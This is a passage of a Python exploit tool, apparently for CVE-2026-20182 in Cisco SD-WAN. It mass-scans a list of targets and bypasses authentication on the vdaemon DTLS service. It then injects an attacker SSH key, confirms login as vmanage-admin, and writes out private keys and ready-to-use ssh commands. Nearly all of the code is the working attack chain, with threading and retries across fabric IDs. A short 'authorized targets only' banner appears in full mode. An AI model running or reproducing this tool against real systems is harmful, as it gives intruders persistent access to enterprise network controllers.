f"lib{name}.so.3", f"lib{name}.so.1.1", f"lib{name}.so", ] last_err: Optional[Exception] = None seen: Set[str] = set() for path in candidates: if path in seen: continue seen.add(path) try: return ctypes.CDLL(path) except OSError as e: last_err = e raise OpenSSLError( f"Cannot load lib{name} ({last_err}). Install OpenSSL 3.x or 4.x; set OPENSSL_HOME to its folder." ) def _drain_errors(self) -> str: msgs: List[str] = [] while True: code = self._f["ERR_get_error"]() if code == 0: break buf = create_string_buffer(256) self._f["ERR_error_string_n"](code, buf, 256) msgs.append(buf.value.decode("utf-8", errors="replace")) return "; ".join(msgs) or "unknown OpenSSL error" def _bio_pending(self, bio: c_void_p) -> int: return int(self._f["BIO_ctrl"](bio, BIO_CTRL_PENDING, 0, None)) def _flush_wbio(self) -> None: assert self.wbio and self.udp_sock while True: pending = self._bio_pending(self.wbio) if pending <= 0: break buf = create_string_buffer(pending) n = self._f["BIO_read"](self.wbio, buf, pending) if n <= 0: break self.udp_sock.send(buf.raw[:n]) def connect(self, host: str, port: int, cert_der: bytes, key_der: bytes) -> None: self._load_libs() f = self._f method = f["DTLS_client_method"]() if not method: raise OpenSSLError("DTLS_client_method() returned NULL") ctx = f["SSL_CTX_new"](method) if not ctx: raise OpenSSLError("SSL_CTX_new() returned NULL") self.ctx = ctx f["SSL_CTX_set_verify"](ctx, SSL_VERIFY_NONE, None) cert_buf = (ctypes.c_ubyte * len(cert_der)).from_buffer_copy(cert_der) if ( f["SSL_CTX_use_certificate_ASN1"]( ctx, len(cert_der), ctypes.cast(cert_buf, c_void_p) ) != 1 ): raise OpenSSLError("SSL_CTX_use_certificate_ASN1 failed") key_buf = (ctypes.c_ubyte * len(key_der)).from_buffer_copy(key_der) if ( f["SSL_CTX_use_PrivateKey_ASN1"]( EVP_PKEY_RSA, ctx, ctypes.cast(key_buf, c_void_p), len(key_der) ) != 1 ): raise OpenSSLError("SSL_CTX_use_PrivateKey_ASN1 failed") ssl = f["SSL_new"](ctx) if not ssl: raise OpenSSLError("SSL_new() returned NULL") self.ssl = ssl mem_method = f["BIO_s_mem"]() rbio = f["BIO_new"](mem_method) wbio = f["BIO_new"](mem_method) if not rbio or not wbio: raise OpenSSLError("BIO_new() failed") self.rbio, self.wbio = rbio, wbio f["SSL_set_bio"](ssl, rbio, wbio) self.udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.udp_sock.settimeout(HANDSHAKE_TIMEOUT) self.udp_sock.connect((host, port)) self._do_handshake() def _do_handshake(self) -> None: assert self.ssl and self.udp_sock and self.rbio and self.wbio f = self._f retries = 0 while True: f["ERR_clear_error"]() ret = f["SSL_connect"](self.ssl) self._flush_wbio() if ret == 1: return err = f["SSL_get_error"](self.ssl, ret) if err == SSL_ERROR_WANT_READ: ready = self._udp_readable(HANDSHAKE_TIMEOUT) if ready: try: dgram = self.udp_sock.recv(RECV_BUF_SIZE) if dgram: buf = (ctypes.c_ubyte * len(dgram)).from_buffer_copy(dgram) f["BIO_write"](self.rbio, ctypes.cast(buf, c_void_p), len(dgram)) except socket.timeout: retries += 1 else: retries += 1 if retries > MAX_HANDSHAKE_RETRIES: raise OpenSSLError(f"DTLS handshake timeout ({self._drain_errors()})") f["SSL_ctrl"](self.ssl, DTLS_CTRL_HANDLE_TIMEOUT, 0, None) self._flush_wbio() elif err == SSL_ERROR_WANT_WRITE: self._flush_wbio() else: raise OpenSSLError(f"DTLS handshake failed ssl_err={err}: {self._drain_errors()}") def _udp_readable(self, timeout: float) -> bool: assert self.udp_sock r, _, _ = select.select([self.udp_sock], [], [], timeout) return bool(r) def send_app(self, data: bytes) -> None: assert self.ssl f = self._f buf = (ctypes.c_ubyte * len(data)).from_buffer_copy(data) f["ERR_clear_error"]() ret = f["SSL_write"](self.ssl, ctypes.cast(buf, c_void_p), len(data)) if ret <= 0: err = f["SSL_get_error"](self.ssl, ret) raise OpenSSLError(f"SSL_write failed err={err}: {self._drain_errors()}") self._flush_wbio() def recv_app(self, timeout: float = 10.0) -> Optional[bytes]: assert self.ssl and self.udp_sock and self.rbio f = self._f if not self._udp_readable(timeout): return None try: dgram = self.udp_sock.recv(RECV_BUF_SIZE) except socket.timeout: return None if not dgram: return None inbuf = (ctypes.c_ubyte * len(dgram)).from_buffer_copy(dgram) f["BIO_write"](self.rbio, ctypes.cast(inbuf, c_void_p), len(dgram)) f["ERR_clear_error"]() ret = f["SSL_read"](self.ssl, self._recv_buf, RECV_BUF_SIZE) if ret <= 0: err = f["SSL_get_error"](self.ssl, ret) if err == SSL_ERROR_WANT_READ: return None return None return bytes(self._recv_buf[:ret]) def send_message(self, proto: SDWANProtocol, msg_type: int, body: bytes = b"") -> None: pkt = proto.build_header(msg_type) + body vlog(f"TX {msg_name(msg_type)} ({len(pkt)} B)") self.send_app(pkt) def recv_message(self, timeout: float = 10.0) -> Tuple[Optional[bytes], Optional[bytes], Optional[int]]: raw = self.recv_app(timeout) if not raw or len(raw) < 12: return None, None, None hdr, body = raw[:12], raw[12:] mtype = SDWANProtocol.hdr_msg_type(hdr) vlog(f"RX {msg_name(mtype)} ({len(raw)} B)") return hdr, body, mtype def close(self) -> None: f = self._f if self.ssl and f: try: f["SSL_free"](self.ssl) except Exception: pass if self.ctx and f: try: f["SSL_CTX_free"](self.ctx) except Exception: pass if self.udp_sock: try: self.udp_sock.close() except Exception: pass self.ssl = self.ctx = self.udp_sock = self.rbio = self.wbio = None def _fabric_retry_warranted(result: Dict[str, Any]) -> bool: phases = result.get("phases") or {} err = str(result.get("error") or "") if phases.get("challenge_ack_reply") == "TEAR_DOWN": return True if phases.get("hello") == "fail": return True if "Hello rejected" in err: return True if "rejected CHALLENGE_ACK" in err: return True return False def perform_exploit_attempt( spec: TargetSpec, inject_ssh: bool = True, ) -> Dict[str, Any]: target_ip = spec.host port = spec.port result: Dict[str, Any] = { "target": target_ip, "port": port, "domain_id": spec.domain_id, "site_id": spec.site_id, "cve": CVE_NAME, "bypass": False, "hello_ok": False, "ssh_injected": False, "ssh_verified": False, "inject_protocol_ack": False, "success": False, "error": None, "public_key": None, "private_key_file": None, "connection_cmd": None, "phases": {}, } if port != VDaemon_DTLS_PORT: result["phases"]["port_note"] = ( f"UDP/{port} (non-canonical; canonical vdaemon is {VDaemon_DTLS_PORT})" ) dtls: Optional[OpenSSLDTLS] = None hello_ip = resolve_ipv4_for_hello(target_ip) proto = SDWANProtocol(spec.domain_id, spec.site_id, target_ip, port, hello_ip=hello_ip) try: cert_der, key_der = get_thread_self_signed_der() dtls = OpenSSLDTLS() dtls.connect(target_ip, port, cert_der, key_der) result["phases"]["dtls"] = "ok" vlog(f"{target_ip}: DTLS established") _, _, mtype = dtls.recv_message(timeout=15.0) if mtype != MSG_CHALLENGE: result["phases"]["challenge"] = f"unexpected:{msg_name(mtype) if mtype is not None else 'none'}" result["error"] = "No CHALLENGE from vdaemon (not SD-WAN or filtered)" return result result["phases"]["challenge"] = "ok" dtls.send_message(proto, MSG_CHALLENGE_ACK, proto.build_challenge_ack_body()) result["phases"]["challenge_ack"] = "sent_vhub" _, _, mtype = dtls.recv_message(timeout=10.0) if mtype == MSG_TEAR_DOWN: result["phases"]["challenge_ack_reply"] = "TEAR_DOWN" result["error"] = "Server rejected CHALLENGE_ACK (patched or bad params)" return result result["phases"]["challenge_ack_reply"] = ( msg_name(mtype) if mtype is not None else "none" ) dtls.send_message(proto, MSG_HELLO, proto.build_hello_body()) _, _, mtype = dtls.recv_message(timeout=10.0) if mtype != MSG_HELLO: if mtype == MSG_TEAR_DOWN: result["error"] = "Hello rejected after bypass" else: result["error"] = f"No Hello reply (got {msg_name(mtype) if mtype is not None else 'timeout'})" result["phases"]["hello"] = "fail" return result result["bypass"] = True result["hello_ok"] = True result["phases"]["hello"] = "ok" if not inject_ssh: result["success"] = True result["vulnerable_bypass"] = True result["ssh_verified"] = False result["proof_level"] = "bypass_hello_only" result["error"] = None return result pubkey, privpem = generate_ssh_keypair() dtls.send_message(proto, MSG_VMANAGE_TO_PEER, SDWANProtocol.build_ssh_inject_body(pubkey)) _, _, mtype = dtls.recv_message(timeout=12.0) inject_reply = msg_name(mtype) if mtype is not None else "none" result["phases"]["ssh_inject_reply"] = inject_reply result["inject_protocol_ack"] = mtype == MSG_REGISTER_TO_VMANAGE if result["inject_protocol_ack"]: result["phases"]["ssh_inject_ack"] = "REGISTER_TO_VMANAGE" else: result["phases"]["ssh_inject_ack"] = f"not_confirmed:{inject_reply}" keys_dir = Path(RUN_CFG["keys_dir"]) keys_dir.mkdir(parents=True, exist_ok=True) key_path = keys_dir / spec.key_slug(dtls_port=port) key_path.write_text(privpem, encoding="utf-8") try: os.chmod(key_path, 0o600) except OSError: pass result["public_key"] = pubkey result["private_key_file"] = str(key_path) if dtls: dtls.close() dtls = None if RUN_CFG.get("verify_ssh", True): ssh_ok, ssh_detail, ssh_port = verify_ssh_access_for_run(target_ip, key_path) result["phases"]["ssh_verify"] = ssh_detail result["ssh_verified"] = ssh_ok result["ssh_verify_port"] = ssh_port if ssh_ok: result["ssh_injected"] = True result["success"] = True result["proof_level"] = "ssh_verified" result["error"] = None result["connection_cmd"] = ( f"ssh -i \"{key_path}\" vmanage-admin@{target_ip} -p {ssh_port} -N" ) return result if result["inject_protocol_ack"]: result["error"] = f"inject_ack_ok_but_ssh_failed:{ssh_detail}" else: result["error"] = ( f"inject_unconfirmed({inject_reply});ssh_failed:{ssh_detail}" ) return result if result["inject_protocol_ack"]: result["ssh_injected"] = True result["success"] = True result["error"] = None else: result["error"] = f"inject_unconfirmed:{inject_reply}" return result except OpenSSLError as e: result["error"] = str(e) return result except socket.error as e: result["error"] = f"network:{e}" return result except ValueError as e: result["error"] = f"cert_or_protocol:{e}" return result except Exception as e: result["error"] = f"{type(e).__name__}:{e}" return result finally: if dtls: dtls.close() def _perform_exploit_fabric(spec: TargetSpec, inject_ssh: bool) -> Dict[str, Any]: attempts: List[TargetSpec] = [spec] if RUN_CFG.get("fabric_fallback"): for d, s in FABRIC_FALLBACK_PRESETS: if (d, s) != (spec.domain_id, spec.site_id): attempts.append(replace(spec, domain_id=d, site_id=s)) last: Dict[str, Any] = {} tried: List[str] = [] for attempt_spec in attempts: tried.append(f"{attempt_spec.domain_id}/{attempt_spec.site_id}") last = perform_exploit_attempt(attempt_spec, inject_ssh=inject_ssh) last["fabric_attempts"] = list(tried) if last.get("success"): return last if not _fabric_retry_warranted(last): break vlog( f"{spec.host}:{spec.port} fabric " f"{attempt_spec.domain_id}/{attempt_spec.site_id} failed, retrying…" ) return last def perform_exploit(spec: TargetSpec, inject_ssh: bool = True) -> Dict[str, Any]: overall: Dict[str, Any] = {} ports_tried: List[int] = [] port_results: List[Dict[str, Any]] = [] for udp_port in spec.ports_to_try(): ports_tried.append(udp_port) vlog(f"{spec.host}: DTLS/UDP {udp_port} (list={list(spec.list_ports)})") port_spec = spec.with_udp_port(udp_port) result = _perform_exploit_fabric(port_spec, inject_ssh=inject_ssh) result["dtls_port"] = udp_port result["is_canonical_vdaemon_port"] = udp_port == VDaemon_DTLS_PORT result["from_list_port"] = udp_port in spec.list_ports port_results.append( { "port": udp_port, "success": result.get("success"), "bypass": result.get("bypass"), "hello_ok": result.get("hello_ok"), "inject_protocol_ack": result.get("inject_protocol_ack"), "ssh_verified": result.get("ssh_verified"), "error": result.get("error"), } ) result["ports_tried"] = list(ports_tried) result["port_results"] = port_results overall = _merge_best_result(overall, result) overall["ports_tried"] = list(ports_tried) overall["port_results"] = port_results if result.get("success"): return result if result.get("bypass") and result.get("hello_ok"): vlog(f"{spec.host}:{udp_port} bypass ok but SSH verify failed, next port…") if overall: overall["ports_tried"] = ports_tried overall["port_results"] = port_results return overall def show_success_card(spec: TargetSpec, result: Dict[str, Any]) -> None: t = Text() t.append("Exploitation complete\n\n", style="card.title") t.append("Target ", style="dim") t.append(f"{spec.label()}\n", style="card.body") t.append("Fabric ", style="dim") t.append(f"domain={result.get('domain_id')} site={result.get('site_id')}\n", style="info") t.append("Bypass ", style="dim") t.append(f"{'YES' if result.get('bypass') else 'NO'}\n", style="ok" if result.get("bypass") else "fail") t.append("Hello/UP ", style="dim") t.append(f"{'YES' if result.get('hello_ok') else 'NO'}\n", style="ok" if result.get("hello_ok") else "fail") t.append("Inject ACK ", style="dim") t.append( f"{'REGISTER_TO_VMANAGE' if result.get('inject_protocol_ack') else 'NO'}\n", style="ok" if result.get("inject_protocol_ack") else "fail", ) t.append("SSH verified", style="dim") t.append( f"{'YES' if result.get('ssh_verified') else 'NO'}\n", style="ok" if result.get("ssh_verified") else "fail", ) if result.get("dtls_port"): t.append("DTLS port ", style="dim") t.append(f"{result.get('dtls_port')} (UDP)\n", style="card.body") if result.get("ssh_verify_port"): t.append("SSH port ", style="dim") t.append(f"{result.get('ssh_verify_port')} (TCP)\n", style="info") if result.get("phases", {}).get("ssh_verify"): t.append("SSH detail ", style="dim") t.append(f"{result['phases']['ssh_verify']}\n", style="card.body") if result.get("connection_cmd"): t.append("Connect ", style="dim") t.append(f"{result['connection_cmd']}\n", style="highlight") safe_print( _glass_panel( t, title=f"[ok]◆ {CVE_NAME} — verified[/ok]", border="ok", ) ) def worker_task() -> None: while True: try: spec = targets_queue.get_nowait() except Empty: return try: result = perform_exploit(spec, inject_ssh=RUN_CFG["inject_ssh"]) if result.get("success") and not RUN_CFG["inject_ssh"]: with stats_lock: stats["bypass_only"] += 1 append_tier_finding(spec, result, TIER_BYPASS) safe_print( f"[ok]✓[/ok] [dim]{spec.label()}[/dim] vulnerable (check mode: bypass confirmed)" ) elif result.get("success") and result.get("ssh_verified"): with stats_lock: stats["success"] += 1 append_tier_finding(spec, result, TIER_CONFIRMED) show_success_card(spec, result) line = ( f"{spec.host}:{result.get('dtls_port', spec.port)}\t" f"domain={result.get('domain_id')}\tsite={result.get('site_id')}\t" f"ports_tried={','.join(map(str, result.get('ports_tried', [])))}\t" f"ssh_port={result.get('ssh_verify_port', '')}\t" f"bypass=1\thello=1\tinject_ack={1 if result.get('inject_protocol_ack') else 0}\t" f"ssh_verified=1\t" f"key={result.get('private_key_file', '')}\t" f"verify={result.get('phases', {}).get('ssh_verify', '')}\t" f"cmd={result.get('connection_cmd', '')}" ) append_success(line) elif result.get("inject_protocol_ack") and not result.get("ssh_verified"): with stats_lock: stats["inject_ack_only"] += 1 if not result.get("connection_cmd"): result["connection_cmd"] = _suggest_ssh_cmd(result) append_tier_finding(spec, result, TIER_INJECT_ACK) safe_print( f"[highlight]~[/highlight] [dim]{spec.label()}[/dim] inject ACK only " f"(SSH verify failed: {result.get('phases', {}).get('ssh_verify', result.get('error'))})" ) elif result.get("bypass") or result.get("hello_ok"): with stats_lock: stats["bypass_only"] += 1 append_tier_finding(spec, result, TIER_BYPASS) safe_print( f"[highlight]~[/highlight] [dim]{spec.label()}[/dim] bypass only " f"(hello={result.get('hello_ok')}) ({result.get('error')})" ) else: with stats_lock: stats["error"] += 1 safe_print(f"[fail]✗[/fail] [dim]{spec.label()}[/dim] — {result.get('error', 'failed')}") append_jsonl(result) except Exception as exc: with stats_lock: stats["error"] += 1 safe_print(f"[fail]✗[/fail] [dim]{spec.label()}[/dim] — {exc}") finally: with stats_lock: stats["done"] += 1 targets_queue.task_done() _IP_RE = re.compile( r"^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$" ) _HOST_RE = re.compile(r"^[a-zA-Z0-9](?:[a-zA-Z0-9.-]{0,253}[a-zA-Z0-9])?$") def _valid_host(host: str) -> bool: return bool(_IP_RE.match(host) or _HOST_RE.match(host)) def _clamp_port(port: int) -> Optional[int]: return port if 1 <= port <= 65535 else None def _make_spec( host: str, domain_id: int, site_id: int, list_port: Optional[int] = None, web_tcp_hints: Tuple[int, ...] = (), ) -> Optional[TargetSpec]: host = host.strip() if not _valid_host(host): return None list_ports: Tuple[int, ...] = () if list_port is not None: lp = _clamp_port(list_port) if lp is None: return None list_ports = (lp,) hints: Tuple[int, ...] = () for h in web_tcp_hints: hp = _clamp_port(int(h)) if hp is not None: hints = hints + (hp,) return TargetSpec( host=host, domain_id=domain_id & 0xFFFFFFFF, site_id=site_id & 0xFFFFFFFF, list_ports=list_ports, web_tcp_hints=hints, ) def parse_target_line( line: str, default_port: int = TARGET_PORT, default_domain: int = DEFAULT_DOMAIN_ID, default_site: int = DEFAULT_SITE_ID, ) -> Optional[TargetSpec]: s = line.strip() if not s or s.startswith("#"): return None port, domain, site = default_port, default_domain, default_site scheme_web_hint: Optional[int] = None url_scheme: Optional[str] = None if "," in s or "\t" in s: parts = re.split(r"[, \t]+", s.strip()) parts = [p for p in parts if p] if not parts: return None host = parts[0] if len(parts) > 1 and parts[1].isdigit(): port = int(parts[1]) if len(parts) > 2 and parts[2].isdigit(): domain = int(parts[2]) if len(parts) > 3 and parts[3].isdigit(): site = int(parts[3]) lp = port if len(parts) > 1 and parts[1].isdigit() else None return _make_spec(host, domain, site, list_port=lp) if ";" in s: chunks = [c.strip() for c in s.split(";") if c.strip()] host_part = chunks[0] kv: Dict[str, str] = {} for chunk in chunks[1:]: if "=" in chunk: k, v = chunk.split("=", 1) kv[k.strip().lower()] = v.strip() if kv.get("port", "").isdigit(): port = int(kv["port"]) if kv.get("domain", "").isdigit() or kv.get("domain_id", "").isdigit(): domain = int(kv.get("domain") or kv.get("domain_id")) if kv.get("site", "").isdigit() or kv.get("site_id", "").isdigit(): site = int(kv.get("site") or kv.get("site_id")) nested = parse_target_line( host_part, default_port=port, default_domain=domain, default_site=site ) return nested if "://" in s: url_scheme, s = s.split("://", 1) url_scheme = url_scheme.lower().strip() if url_scheme == "https": scheme_web_hint = 443 elif url_scheme == "http": scheme_web_hint = 80 if "/" in s: s = s.split("/", 1)[0] s = s.strip() if not s: return None if s.startswith("["): m = re.match(r"^\[([^\]]+)\](?::(\d{1,5})(?::(\d+)(?::(\d+)))?)?$", s) if not m: return None host = m.group(1) if m.group(2): port = int(m.group(2)) if m.group(3): domain = int(m.group(3)) if m.group(4): site = int(m.group(4)) lp = int(m.group(2)) if m.group(2) else None if lp and url_scheme in ("http", "https"): return _make_spec(host, domain, site, web_tcp_hints=(lp,)) return _make_spec(host, domain, site, list_port=lp) parts = s.split(":") if len(parts) == 4 and all(p.isdigit() for p in parts[1:]): return _make_spec( parts[0], int(parts[2]), int(parts[3]), list_port=int(parts[1]) ) if len(parts) == 2 and parts[1].isdigit(): ep = int(parts[1]) if url_scheme in ("http", "https"): return _make_spec(parts[0], domain, site, web_tcp_hints=(ep,)) return _make_spec(parts[0], domain, site, list_port=ep) if len(parts) == 1 and _valid_host(parts[0]): hints = (scheme_web_hint,) if scheme_web_hint is not None else () return _make_spec(parts[0], domain, site, web_tcp_hints=hints) return None def load_targets( path: str, default_domain: int = DEFAULT_DOMAIN_ID, default_site: int = DEFAULT_SITE_ID, ) -> Tuple[List[TargetSpec], int]: merged: Dict[Tuple[str, int, int], TargetSpec] = {} raw_lines = 0 with open(path, "r", encoding="utf-8", errors="ignore") as f: for raw in f: spec = parse_target_line( raw, default_domain=default_domain, default_site=default_site, ) if spec is None: continue raw_lines += 1 k = spec.key() if k in merged: merged[k] = merge_target_specs(merged[k], spec) else: merged[k] = spec out = list(merged.values()) return out, max(0, raw_lines - len(out)) def show_targets_preview(targets: List[TargetSpec], limit: int = 8) -> None: tbl = Table( title="[card.title]Target queue preview[/card.title]", box=box.SIMPLE_HEAD, border_style="border", header_style="card.title", show_lines=False, pad_edge=False, ) tbl.add_column("#", style="muted", width=4) tbl.add_column("Host", style="accent") tbl.add_column("UDP try", style="info") tbl.add_column("Web TCP hint", style="muted") tbl.add_column("Domain", justify="right", style="dim") tbl.add_column("Site", justify="right", style="dim") for i, t in enumerate(targets[:limit], 1): wh = ",".join(map(str, t.web_tcp_hints)) if t.web_tcp_hints else "—" tbl.add_row( str(i), t.host, ",".join(map(str, t.ports_to_try())), wh, str(t.domain_id), str(t.site_id), ) if len(targets) > limit: tbl.add_row("…", f"+{len(targets) - limit} more", "", "", "", "") console.print(_glass_panel(tbl, border="border")) def show_setup_guide() -> None: guide = Table(box=None, show_header=False, pad_edge=False, expand=True) guide.add_column(style="muted", width=3) guide.add_column(style="menu.label") items = [ ("◆", "One target per line in targets.txt"), ("◆", f"UDP exploit: {VDaemon_DTLS_PORT} + explicit :port in list"), ("◆", "https://host → web TCP hint only (not UDP/443)"), ("◆", f"SSH verify (full mode): TCP/{NETCONF_PORT}"), ("◆", "Default mode: check · duplicate IPs merged"), ("", ""), ("→", "10.0.0.1"), ("→", "10.0.0.2:12346"), ("→", "10.0.0.3:12346:1:100"), ("→", "https://10.0.0.4"), ] for icon, line in items: guide.add_row(icon, line) console.print(_glass_panel(guide, title="[card.title]List format reference[/card.title]", border="info")) def openssl_preflight() -> None: try: OpenSSLDTLS()._load_libs() console.print( _glass_panel( Align.center(Text("OpenSSL DTLS stack ready", style="ok")), border="ok", box_style=box.MINIMAL, ) ) except OpenSSLError as e: console.print( _glass_panel( Text.assemble(("OpenSSL required: ", "fail"), (str(e), "card.body")), border="fail", ) ) console.print("[muted]Install OpenSSL 3.x/4.x · set OPENSSL_HOME[/muted]") sys.exit(1) def build_cli() -> argparse.ArgumentParser: p = argparse.ArgumentParser(description="CVE-2026-20182 Cisco SD-WAN exploit") p.add_argument("-f", "--file", default="targets.txt", help="Targets list file") p.add_argument( "-t", "--threads", type=int, default=DEFAULT_THREADS, help=f"Worker threads (1–{MAX_THREADS}, default {DEFAULT_THREADS})", ) p.add_argument( "--domain", type=int, default=DEFAULT_DOMAIN_ID, help="Default DOMAIN_ID when not in list", ) p.add_argument( "--site", type=int, default=DEFAULT_SITE_ID, help="Default SITE_ID when not in list", ) p.add_argument( "--mode", choices=("full", "check"), default="check", help="check=bypass probe (default); full=bypass+SSH inject+verify", ) p.add_argument( "--verify-ssh22", action="store_true", help="Also try TCP/22 after :830 (optional, not primary CVE path)", ) p.add_argument( "--extra-udp-ports", metavar="PORTS", default="", help="Lab only: extra UDP ports on every host (e.g. 8080,8443)", ) p.add_argument( "--no-try-list-udp", action="store_true", help="Only UDP/12346; ignore explicit :port in list", ) p.add_argument("-v", "--verbose", action="store_true", help="Per-message TX/RX log") p.add_argument( "--no-fallback", action="store_true", help="Do not retry alternate domain/site on TEAR_DOWN", ) p.add_argument( "-y", "--yes", action="store_true", help="Non-interactive: use CLI args only (no prompts)", ) p.add_argument( "--no-ssh-verify", action="store_true", help="Do not run post-inject SSH login test (not recommended)", ) return p def ask_configuration(args: Optional[argparse.Namespace] = None) -> Tuple[str, int, Dict[str, Any]]: if args is None: args = build_cli().parse_args() if args.yes: cfg = { "targets_file": args.file, "threads": max(1, min(args.threads, MAX_THREADS)), "default_domain_id": args.domain, "default_site_id": args.site, "inject_ssh": args.mode == "full", "verbose": args.verbose, "fabric_fallback": not args.no_fallback, "verify_ssh": not args.no_ssh_verify, "verify_ssh22": args.verify_ssh22, "try_list_udp_ports": not args.no_try_list_udp, "extra_udp_ports": _parse_extra_udp_ports(args.extra_udp_ports), "keys_dir": KEYS_DIR, } else: cfg = show_config_menu(args) openssl_preflight() return str(cfg["targets_file"]), int(cfg["threads"]), cfg def _parse_extra_udp_ports(raw: str) -> Tuple[int, ...]: out: List[int] = [] for chunk in re.split(r"[,;\s]+", (raw or "").strip()): if not chunk: continue if chunk.isdigit(): p = _clamp_port(int(chunk)) if p is not None: out.append(p) return tuple(sorted(set(out))) def summary_table() -> Table: with stats_lock: t, d, s, bo, ia, e = ( stats["total"], stats["done"], stats["success"], stats["bypass_only"], stats["inject_ack_only"], stats["error"], ) tbl = Table( show_header=False, box=box.SIMPLE, border_style="border", pad_edge=False, show_lines=False, ) tbl.add_column("k", style="muted", width=16) tbl.add_column("v") pct = f"{(100 * d / t):.0f}%" if t else "0%" tbl.add_row("Progress", f"[accent]{d}/{t}[/accent] [dim]({pct})[/dim]") tbl.add_row("SSH verified", f"[ok]{s}[/ok]") tbl.add_row("Inject ACK", f"[highlight]{ia}[/highlight]") tbl.add_row("Bypass only", f"[info]{bo}[/info]") tbl.add_row("Failed", f"[fail]{e}[/fail]") tbl.add_row("Mode", "[warn]full[/warn]" if RUN_CFG["inject_ssh"] else "[ok]check[/ok]") tbl.add_row("SSH verify", "on" if RUN_CFG.get("verify_ssh") else "off") tbl.add_row("SSH :22", "on" if RUN_CFG.get("verify_ssh22") else "off") tbl.add_row("Fabric", "on" if RUN_CFG.get("fabric_fallback") else "off") return tbl def main() -> None: global RUN_CFG args = build_cli().parse_args() show_banner() targets_file, threads, cfg = ask_configuration(args) RUN_CFG.update(cfg) Path(RUN_CFG["keys_dir"]).mkdir(parents=True, exist_ok=True) init_findings_outputs() if not os.path.isfile(targets_file): console.print(f"[fail]Not found:[/fail] {targets_file}") return targets, merged_extra = load_targets( targets_file, default_domain=RUN_CFG["default_domain_id"], default_site=RUN_CFG["default_site_id"], ) if not targets: console.print( "[fail]No valid targets. Formats: IP | IP:port | IP:port:domain:site[/fail]" ) return load_msg = Text() load_msg.append(f"Loaded {len(targets)} unique target(s)\n", style="ok") load_msg.append( f"UDP {VDaemon_DTLS_PORT}+list · SSH :{NETCONF_PORT}" f"{'+:22' if RUN_CFG.get('verify_ssh22') else ''} · " f"merged {merged_extra} · mode=" f"{'full' if RUN_CFG['inject_ssh'] else 'check'}", style="muted", ) console.print(_glass_panel(load_msg, title="[card.title]Queue ready[/card.title]", border="ok")) if not RUN_CFG["inject_ssh"]: console.print( _glass_panel( Text( "CHECK mode: DTLS bypass probe only (Hello). " "No key injection, no SSH verify, no keys written. " "Real proof requires: --mode full and ssh_verified=true in results.", style="info", ), border="info", box_style=box.MINIMAL, ) ) if RUN_CFG["inject_ssh"]: console.print( _glass_panel( Text("FULL mode: SSH key injection + login test — authorized targets only.", style="warn"), border="warn", box_style=box.MINIMAL, ) ) show_targets_preview(targets) for spec in targets: targets_queue.put(spec) with stats_lock: stats.update( { "total": len(targets), "done": 0, "success": 0, "bypass_only": 0, "inject_ack_only": 0, "error": 0, } ) progress = Progress( SpinnerColumn(spinner_name="dots", style="accent"), TextColumn("[progress] {task.description}", style="card.title"), BarColumn( bar_width=None, style="progress", complete_style="progress.done", finished_style="progress.done", ), TaskProgressColumn(), TimeElapsedColumn(), console=console, expand=True, ) tid = progress.add_task("vdaemon scan", total=len(targets)) workers = [ threading.Thread(target=worker_task, name=f"sdwan-{i}", daemon=True) for i in range(min(threads, len(targets))) ] for w in workers: w.start() live_stats = _glass_panel(summary_table(), title="[card.title]Live telemetry[/card.title]", border="border") with Live(Group(progress, live_stats), console=console, refresh_per_second=8) as live: last = -1 while True: with stats_lock: done, total = stats["done"], stats["total"] if done != last: progress.update(tid, completed=done, total=total) live.update(Group(progress, _glass_panel(summary_table(), title="[card.title]Live telemetry[/card.title]", border="border"))) last = done if done >= total: break time.sleep(0.1) targets_queue.join() summary_data = write_findings_summary() console.print(Rule(style="border")) console.print( _glass_panel( summary_table(), title=f"[card.title]◆ {CVE_NAME} — session complete[/card.title]", border="accent", ) ) fc = summary_data.get("counts", {}) fin = Text() fin.append("Findings sorted\n\n", style="card.title") fin.append(f" 01 confirmed SSH : {fc.get('confirmed_ssh', 0)}\n", style="ok") fin.append(f" 02 inject ACK only : {fc.get('inject_ack_only', 0)}\n", style="warn") fin.append(f" 03 bypass only : {fc.get('bypass_only', 0)}\n", style="info") fin.append("\n", style="dim") fin.append(f" {FINDINGS_SUMMARY_JSON}\n", style="highlight") fin.append(f" {FINDINGS_COMMANDS_TXT}\n", style="accent") console.print(_glass_panel(fin, title="[card.title]Output files[/card.title]", border="border")) if __name__ == "__main__": main()